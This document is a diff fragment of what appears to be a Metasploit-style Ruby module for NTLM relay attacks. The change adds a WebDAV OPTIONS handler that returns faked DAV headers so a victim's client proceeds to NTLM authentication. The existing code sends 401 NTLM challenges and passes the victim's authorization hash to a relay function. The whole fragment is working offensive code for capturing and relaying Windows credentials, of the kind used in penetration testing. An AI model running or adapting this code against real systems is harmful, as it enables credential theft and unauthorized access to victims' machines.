@@ -93,44 +93,66 @@ def initialize(info = {})
93
93
94
94
# Handles the initial requests waiting for the browser to try NTLM auth
95
95
def on_request_uri ( cli , request )
96
+
97
+ case request . method
98
+ when 'OPTIONS'
99
+ process_options ( cli , request )
100
+ else
101
+ datastore [ 'REQUEST_IP' ] = cli . peerhost
102
+ cli . keepalive = true ;
96
103
97
- datastore [ 'REQUEST_IP' ] = cli . peerhost
98
- cli . keepalive = true ;
104
+ # If the host has not started auth, send 401 authenticate with only the NTLM option
105
+ if ( !request . headers [ 'Authorization' ] )
106
+ response = create_response ( 401 , "Unauthorized" )
107
+ response . headers [ 'WWW-Authenticate' ] = "NTLM"
108
+ response . headers [ 'Proxy-Support' ] = 'Session-Based-Authentication'
99
109
100
- # If the host has not started auth, send 401 authenticate with only the NTLM option
101
- if ( !request . headers [ 'Authorization' ] )
102
- response = create_response ( 401 , "Unauthorized" )
103
- response . headers [ 'WWW-Authenticate' ] = "NTLM"
104
- response . headers [ 'Proxy-Support' ] = 'Session-Based-Authentication'
110
+ response . body =
111
+ "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
105
112
106
- response . body =
107
- "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
113
+ cli . send_response ( response )
114
+ return false
115
+ end
116
+ method , hash = request . headers [ 'Authorization' ] . split ( /\s +/ , 2 )
117
+ # If the method isn't NTLM something odd is goign on.
118
+ # Regardless, this won't get what we want, 404 them
119
+ if ( method != "NTLM" )
120
+ print_status ( "Unrecognized Authorization header, responding with 404" )
121
+ send_not_found ( cli )
122
+ return false
123
+ end
108
124
109
- cli . send_response ( response )
110
- return false
111
- end
112
- method , hash = request . headers [ 'Authorization' ] . split ( /\s +/ , 2 )
113
- # If the method isn't NTLM something odd is goign on.
114
- # Regardless, this won't get what we want, 404 them
115
- if ( method != "NTLM" )
116
- print_status ( "Unrecognized Authorization header, responding with 404" )
117
- send_not_found ( cli )
118
- return false
119
- end
125
+ print_status ( "NTLM Request '#{ request . uri } ' from #{ cli . peerhost } :#{ cli . peerport } " )
120
126
121
- print_status ( "NTLM Request '#{ request . uri } ' from #{ cli . peerhost } :#{ cli . peerport } " )
127
+ if ( datastore [ 'SYNCFILE' ] != nil )
128
+ sync_options ( )
129
+ end
122
130
123
- if ( datastore [ 'SYNCFILE' ] != nil )
124
- sync_options ( )
131
+ handle_relay ( cli , hash )
125
132
end
126
-
127
- handle_relay ( cli , hash )
128
133
end
129
134
130
135
def run
131
136
parse_args ( )
132
137
exploit ( )
133
138
end
139
+
140
+ def process_options ( cli , request )
141
+ print_status ( "OPTIONS #{ request . uri } " )
142
+ headers = {
143
+ 'MS-Author-Via' => 'DAV' ,
144
+ 'DASL' => '<DAV:sql>' ,
145
+ 'DAV' => '1, 2' ,
146
+ 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH' ,
147
+ 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK' ,
148
+ 'Cache-Control' => 'private'
149
+ }
150
+ resp = create_response ( 207 , "Multi-Status" )
151
+ headers . each_pair { |k , v | resp [ k ] = v }
152
+ resp . body = ""
153
+ resp [ 'Content-Type' ] = 'text/xml'
154
+ cli . send_response ( resp )
155
+ end
134
156
135
157
#The call to handle_relay should be a victim HTTP type 1 request
136
158
def handle_relay ( cli_sock , hash )
0 commit comments